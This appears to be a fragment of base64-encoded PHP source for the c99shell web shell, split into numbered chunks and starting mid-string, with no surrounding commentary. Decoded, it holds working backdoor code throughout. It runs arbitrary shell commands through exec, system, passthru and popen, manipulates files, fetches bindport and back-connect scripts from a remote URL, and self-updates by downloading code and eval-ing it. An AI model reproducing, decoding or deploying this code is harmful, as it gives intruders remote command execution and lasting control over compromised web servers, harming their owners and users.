xdW90ZSgkdikpO30KJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7CmlmICghcHJlZ19 tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0Ynl hZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7ZXhpdCgiPGEgaHJlZj1cImh0dHA6Ly9jY3RlYW0 ucnUvcmVsZWFzZXMvY2M5OXNoZWxsXCI+Yzk5c2hlbGw8L2E+OiBBY2Nlc3MgRGVuaWVkIC0geW91ciB ob3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3ciKTt9CmlmICghZW1wdHkoJGx vZ2luKSkKewogaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30KIGl mICgoJF9TRVJWRVJbIlBIUF9BVVRIX1VTRVIiXSAhPSAkbG9naW4pIG9yIChtZDUoJF9TRVJWRVJbIlB IUF9BVVRIX1BXIl0pICE9ICRtZDVfcGFzcykpCiB7CiAgaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGx vZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGV kX2h0bWwpKTt9CiAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cImM5OXNoZWx sICIuJHNodmVyLiI6ICIuJGxvZ2luX3R4dC4iXCIiKTsKICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF 1dGhvcml6ZWQiKTsKICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsKIH0KfQppZiAoJGFjdCAhPSAiaW1 nIikKewokbGFzdGRpciA9IHJlYWxwYXRoKCIuIik7CmNoZGlyKCRjdXJkaXIpOwppZiAoJHNlbGZ3cml 0ZSBvciAkdXBkYXRlbm93KSB7QG9iX2NsZWFuKCk7IGM5OXNoX2dldHVwZGF0ZSgkc2VsZndyaXRlLDE pOyBleGl0O30KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk 7CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9CmlmICghaXN fYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQp pZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXk oKTt9CgokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYgKCFlbXB 0eSgkZGlzYWJsZWZ1bmMpKQp7CiAkZGlzYWJsZWZ1bmMgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2F ibGVmdW5jKTsKICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZnVuYyk7Cn0KCmlmICg hZnVuY3Rpb25fZXhpc3RzKCJjOTlfYnVmZl9wcmVwYXJlIikpCnsKZnVuY3Rpb24gYzk5X2J1ZmZfcHJ lcGFyZSgpCnsKIGdsb2JhbCAkc2Vzc19kYXRhOwogZ2xvYmFsICRhY3Q7CiBmb3JlYWNoKCRzZXNzX2R hdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2U oIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQogZm9yZWFjaCgkc2Vzc19kYXR hWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFw iLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9CiAkc2Vzc19kYXRhWyJjb3B5Il0gPSB hcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsKICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXl fdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsKIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsKIHNvcnQ oJHNlc3NfZGF0YVsiY3V0Il0pOwogaWYgKCRhY3QgIT0gImNvcHkiKSB7Zm9yZWFjaCgkc2Vzc19kYXR hWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY29weSJdWyRrXSA9PSAkdikge3Vuc2V 0KCRzZXNzX2RhdGFbImNvcHkiXVska10pOyB9fX0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29 weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2V zc19kYXRhWyJjdXQiXVska10pO319fQp9Cn0KYzk5X2J1ZmZfcHJlcGFyZSgpOwppZiAoIWZ1bmN0aW9 uX2V4aXN0cygiYzk5X3Nlc3NfcHV0IikpCnsKZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQp7CiB nbG9iYWwgJHNlc3NfY29va2llOwogZ2xvYmFsICRzZXNzX2RhdGE7CiBjOTlfYnVmZl9wcmVwYXJlKCk 7CiAkc2Vzc19kYXRhID0gJGRhdGE7CiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7CiBzZXRjb29raWU
4.
oJHNlc3NfY29va2llLCRkYXRhKTsKfQp9CmZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSB hcyAkdikKewogaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30KIGlmICghZW1 wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BPU1RbJHZdO30KfQppZiAoJHNvcnRfc2F2ZSkKewogaWY gKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9CiBpZiAoIWVtcHR5KCRzcWx fc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30KfQppZiAoIWZ1bmN0aW9uX2V 4aXN0cygic3RyMm1pbmkiKSkKewpmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKQp7CiBpZiA oc3RybGVuKCRjb250ZW50KSA+ICRsZW4pCiB7CiAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7CiAgcmV 0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOwo gfQogZWxzZSB7cmV0dXJuICRjb250ZW50O30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3N pemUiKSkKewpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpCnsKIGlmICghaXNfbnVtZXJpYygkc2l6ZSk pIHtyZXR1cm4gRkFMU0U7fQogZWxzZQogewogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemU gPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9CiAgZWxzZWlmICgkc2l6ZSA +PSAxMDQ4NTc2KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDQ4NTc2KjEwMCkvMTAwIC4iIE1CIjt9CiA gZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4 iIEtCIjt9CiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQogIHJldHVybiAkc2l6ZTsKIH0KfQp 9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKQp7CmZ1bmN0aW9uIGZzX2NvcHlfZGl yKCRkLCR0KQp7CiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiB pZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1N FUEFSQVRPUjt9CiAkaCA9IG9wZW5kaXIoJGQpOwogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0 gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICBpZiAoIWl zX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9 TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICBlbHNlIHskcmV0ID0gbWt kaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7IGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVB BUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICBpZiAoISRyZXQpIHtyZXR1cm4 gJHJldDt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcmV0dXJuIFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9 uX2V4aXN0cygiZnNfY29weV9vYmoiKSkKewpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkKewogJGQ gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogJHQgPSBzdHJfcmVwbGF jZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB 7bWtkaXIoZGlybmFtZSgkdCkpO30KIGlmIChpc19kaXIoJGQpKQogewogIGlmIChzdWJzdHIoJGQsLTE pICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICBpZiA oc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEF SQVRPUjt9CiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsKIH0KIGVsc2VpZiAoaXNfZmlsZSgkZCk pIHtyZXR1cm4gY29weSgkZCwkdCk7fQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3R pb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQp7CmZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KQp7CiA kaCA9IG9wZW5kaXIoJGQpOwogaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30KIHdoaWxlICgoJG8 gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogewogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICI uLiIpKQogIHsKICAgJHJldCA9IFRSVUU7CiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkF UT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUll fU0VQQVJBVE9SLiRvKTt9CiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiR vKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0V QQVJBVE9SLiRvKSkgeyRyZXQgPSBGQUxTRTt9fQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9CiA gfQogfQogY2xvc2VkaXIoJGgpOwogcmV0dXJuIFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cyg iZnNfbW92ZV9vYmoiKSkKewpmdW5jdGlvbiBmc19tb3ZlX29iaigkZCwkdCkKewogJGQgPSBzdHJfcmV wbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLER JUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogaWYgKGlzX2RpcigkZCkpCiB7CiAgaWYgKHN1YnN0cigkZCw tMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIGl mIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0V QQVJBVE9SO30KICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOwogfQogZWxzZWlmIChpc19maWxlKCR kKSkKIHsKICBpZihjb3B5KCRkLCR0KSkge3JldHVybiB1bmxpbmsoJGQpO30KICBlbHNlIHt1bmxpbms oJHQpOyByZXR1cm4gRkFMU0U7fQogfQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3R pb25fZXhpc3RzKCJmc19ybWRpciIpKQp7CmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQp7CiAkaCA9IG9wZW5 kaXIoJGQpOwogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyA hPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbms oJGQuJG8pO30KICAgZWxzZSB7ZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGl yKCRkLiRvKTt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcm1kaXIoJGQpOwogcmV0dXJuICFpc19kaXI oJGQpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jtb2JqIikpCnsKZnVuY3Rpb24gZnNfcm1 vYmooJG8pCnsKICRvID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsKIGl mIChpc19kaXIoJG8pKQogewogIGlmIChzdWJzdHIoJG8sLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1I pIHskbyAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICByZXR1cm4gZnNfcm1kaXIoJG8pOwogfQogZW xzZWlmIChpc19maWxlKCRvKSkge3JldHVybiB1bmxpbmsoJG8pO30KIGVsc2Uge3JldHVybiBGQUxTRT t9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkKewpmdW5jdGlvbiBteXNoZW xsZXhlYygkY21kKQp7CiBnbG9iYWwgJGRpc2FibGVmdW5jOwogJHJlc3VsdCA9ICIiOwogaWYgKCFlbX B0eSgkY21kKSkKIHsKICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIi wkZGlzYWJsZWZ1bmMpKSB7ZXhlYygkY21kLCRyZXN1bHQpOyAkcmVzdWx0ID0gam9pbigiXG4iLCRyZX
5.
N1bHQpO30KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRjbWRgKSAhPT0gRkFMU0UpIHt9CiAgZWxzZWlmIC hpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKS B7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bH QgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2O30KICBlbHNlaWYgKGlzX2 NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKS B7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3 VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQogIGVsc2VpZiAoaX NfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkKICB7CiAgICRyZXN1bHQgPSAiIjsKICAgd2 hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpO30KICAgcGNsb3NlKCRmcC k7CiAgfQogfQogcmV0dXJuICRyZXN1bHQ7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidGFic29ydC IpKSB7ZnVuY3Rpb24gdGFic29ydCgkYSwkYikge2dsb2JhbCAkdjsgcmV0dXJuIHN0cm5hdGNtcCgkYV skdl0sICRiWyR2XSk7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkKewpmdW5jdG lvbiB2aWV3X3Blcm1zKCRtb2RlKQp7CiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JH R5cGUgPSAicyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9IC JkIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30KIG Vsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAiLSI7fQogZWxzZWlmIC goJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICJiIjt9CiBlbHNlaWYgKCgkbW9kZS AmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgxMD AwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7fQogZWxzZSB7JHR5cGUgPSAiPyI7fQoKICRvd25lcl sicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7CiAkb3duZXJbIndyaXRlIl0gPSAoJG1vZG UgJiAwMDIwMCk/InciOiItIjsKICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4Ij oiLSI7CiAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOwogJGdyb3VwWyJ3cm l0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7CiAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZS AmIDAwMDEwKT8ieCI6Ii0iOwogJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIj sKICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsKICR3b3JsZFsiZXhlY3 V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7CgogaWYgKCRtb2RlICYgMHg4MDApIHskb3duZX JbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2 RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPy JzIjoiUyI7fQogaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbIm V4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQoKIHJldHVybiAkdHlwZS5qb2luKCIiLCRvd25lcikuam 9pbigiIiwkZ3JvdXApLmpvaW4oIiIsJHdvcmxkKTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3 NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKS B7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQppZiAoIWZ1bmN0aW 9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJG Rpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX 0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raW xsIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO3 19CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKQp7CmZ1bmN0aW9uIHBhcnNlX3Blcm 1zKCRtb2RlKQp7CiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQogZW xzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdCA9ICJkIjt9CiBlbHNlaWYgKCgkbW 9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0ID0gImwiO30KIGVsc2VpZiAoKCRtb2RlICYgMHg4MD AwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweD YwMDApIHskdCA9ICJiIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID 0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQogZW xzZSB7JHQgPSAiPyI7fQogJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG 1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsKICRnWyJyIl0gPS AoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXS A9ICgkbW9kZSAmIDAwMDEwKSA+IDA7CiAkd1siciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsgJHdbIn ciXSA9ICgkbW9kZSAmIDAwMDAyKSA+IDA7ICR3WyJ4Il0gPSAoJG1vZGUgJiAwMDAwMSkgPiAwOwogcm V0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOwp9Cn0KaWYgKCFmdW5jdG lvbl9leGlzdHMoInBhcnNlc29ydCIpKQp7CmZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkKewogJG9uZS A9IGludHZhbCgkc29ydCk7CiAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsKIGlmICgkc2Vjb25kIC E9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQogcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7Cn0KfQppZi AoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQp7CmZ1bmN0aW9uIHZpZXdfcGVybX NfY29sb3IoJG8pCnsKIGlmICghaXNfcmVhZGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj1yZW Q+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9CiBlbHNlaWYgKCFpc193cml0YW JsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXdoaXRlPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG 8pKS4iPC9mb250PiI7fQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybX MoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlnZX Rzb3VyY2UiKSkKewpmdW5jdGlvbiBjOTlnZXRzb3VyY2UoJGZuKQp7CiBnbG9iYWwgJGM5OXNoX3NvdX JjZXN1cmw7CiAkYXJyYXkgPSBhcnJheSgKICAiYzk5c2hfYmluZHBvcnQucGwiID0+ICJjOTlzaF9iaW 5kcG9ydF9wbC50eHQiLAogICJjOTlzaF9iaW5kcG9ydC5jIiA9PiAiYzk5c2hfYmluZHBvcnRfYy50eH QiLAogICJjOTlzaF9iYWNrY29ubi5wbCIgPT4gImM5OXNoX2JhY2tjb25uX3BsLnR4dCIsCiAgImM5OX NoX2JhY2tjb25uLmMiID0+ICJjOTlzaF9iYWNrY29ubl9jLnR4dCIsCiAgImM5OXNoX2RhdGFwaXBlLn
6.
BsIiA9PiAiYzk5c2hfZGF0YXBpcGVfcGwudHh0IiwKICAiYzk5c2hfZGF0YXBpcGUuYyIgPT4gImM5OX NoX2RhdGFwaXBlX2MudHh0IiwKICk7CiAkbmFtZSA9ICRhcnJheVskZm5dOwogaWYgKCRuYW1lKSB7cm V0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRjOTlzaF9zb3VyY2VzdXJsLiRuYW1lKTt9CiBlbHNlIHtyZX R1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OXNoX2dldHVwZGF0ZSIpKQp7Cm Z1bmN0aW9uIGM5OXNoX2dldHVwZGF0ZSgkdXBkYXRlID0gVFJVRSkKewogJHVybCA9ICRHTE9CQUxTWy JjOTlzaF91cGRhdGV1cmwiXS4iP3ZlcnNpb249Ii51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkR0xPQk FMU1sic2h2ZXIiXSkpLiImdXBkYXRlbm93PSIuKCR1cGRhdGVub3c/IjEiOiIwIikuIiYiOwogJGRhdG EgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7CiBpZiAoISRkYXRhKSB7cmV0dXJuICJDYW4ndCBjb2 5uZWN0IHRvIHVwZGF0ZS1zZXJ2ZXIhIjt9CiBlbHNlCiB7CiAgJGRhdGEgPSBsdHJpbSgkZGF0YSk7Ci AgJHN0cmluZyA9IHN1YnN0cigkZGF0YSwzLG9yZCgkZGF0YXsyfSkpOwogIGlmICgkZGF0YXswfSA9PS AiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAxIikge3JldHVybiAiRXJyb3I6ICIuJHN0cmluZzsgcm V0dXJuIEZBTFNFO30KICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMi IpIHtyZXR1cm4gIllvdSBhcmUgdXNpbmcgbGF0ZXN0IHZlcnNpb24hIjt9CiAgaWYgKCRkYXRhezB9ID 09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDMiKQogIHsKICAgJHN0cmluZyA9IGV4cGxvZGUoIl x4MDEiLCRzdHJpbmcpOwogICBpZiAoJHVwZGF0ZSkKICAgewogICAgJGNvbmZ2YXJzID0gYXJyYXkoKT sKICAgICRzb3VyY2V1cmwgPSAkc3RyaW5nWzBdOwogICAgJHNvdXJjZSA9IGZpbGVfZ2V0X2NvbnRlbn RzKCRzb3VyY2V1cmwpOwogICAgaWYgKCEkc291cmNlKSB7cmV0dXJuICJDYW4ndCBmZXRjaCB1cGRhdG UhIjt9CiAgICBlbHNlCiAgICB7CiAgICAgJGZwID0gZm9wZW4oX19GSUxFX18sInciKTsKICAgICBpZi AoISRmcCkge3JldHVybiAiTG9jYWwgZXJyb3I6IGNhbid0IHdyaXRlIHVwZGF0ZSB0byAiLl9fRklMRV 9fLiIhIFlvdSBtYXkgZG93bmxvYWQgYzk5c2hlbGwucGhwIG1hbnVhbGx5IDxhIGhyZWY9XCIiLiRzb3 VyY2V1cmwuIlwiPjx1PmhlcmU8L3U+PC9hPi4iO30KICAgICBlbHNlIHtmd3JpdGUoJGZwLCRzb3VyY2 UpOyBmY2xvc2UoJGZwKTsgcmV0dXJuICJUaGFua3MhIFVwZGF0ZWQgd2l0aCBzdWNjZXNzLiI7fQogIC AgfQogICB9CiAgIGVsc2Uge3JldHVybiAiTmV3IHZlcnNpb24gYXJlIGF2YWlsYWJsZTogIi4kc3RyaW 5nWzFdO30KICB9CiAgZWxzZWlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceD A0Iikge2V2YWwoJHN0cmluZyk7IHJldHVybiAxO30KICBlbHNlIHtyZXR1cm4gIkVycm9yIGluIHByb3 RvY29sOiBzZWdtZW50YXRpb24gZmFpbGVkISAoIi4kZGF0YS4iKSAiO30KIH0KfQp9CmlmICghZnVuY3 Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpCnsKZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KQp7CiBnbG 9iYWwgJHNodmVyOwogJHNvY2sgPSAkc2V0WyJzb2NrIl07CiAkZGIgPSAkc2V0WyJkYiJdOwogJHByaW 50ID0gJHNldFsicHJpbnQiXTsKICRubDJiciA9ICRzZXRbIm5sMmJyIl07CiAkZmlsZSA9ICRzZXRbIm ZpbGUiXTsKICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07CiAkdGFicyA9ICRzZXRbInRhYnMiXT 